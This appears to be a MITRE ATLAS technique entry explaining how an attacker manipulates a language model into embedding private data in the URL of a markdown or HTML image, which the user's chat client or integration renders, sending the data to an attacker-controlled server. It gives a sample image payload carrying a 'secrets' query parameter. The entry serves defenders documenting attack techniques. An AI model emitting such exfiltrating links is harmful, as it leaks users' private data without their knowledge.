LLM Response Rendering

Adversaries may induce a large language model (LLM) to respond with private information structured in a reference to external content that, when rendered by the user's client, makes a request to an adversary-controlled server, exfiltrating the data. The private information can be hidden from the user and the external content can still render properly in the user's client, thus not raising the suspicion of the user.

Rendered content can include images, embedded webpages, or link previews and may use HTML, Markdown, or other rendering mechanisms. The private information can be hidden in parts of the URL pointing to an adversary-controlled server, including query parameters or URL path segments, and may be split across multiple requests. Markdown or HTML image tags may automatically render directly in the user's AI chat client. Integrations into applications such as Slack or Microsoft Teams may render external content automatically without requiring the user to take any action.

As an example, the adversary may manipulate the LLM to produce the following markdown:

```

![ATLAS](https://atlas.mitre.org/image.png?secrets="private data")

```

Which is rendered by the client as:

```

<img src="https://atlas.mitre.org/image.png?secrets="private data">

```

When the request is received by the adversary's server hosting the requested image, they receive the contents of the secrets query parameter.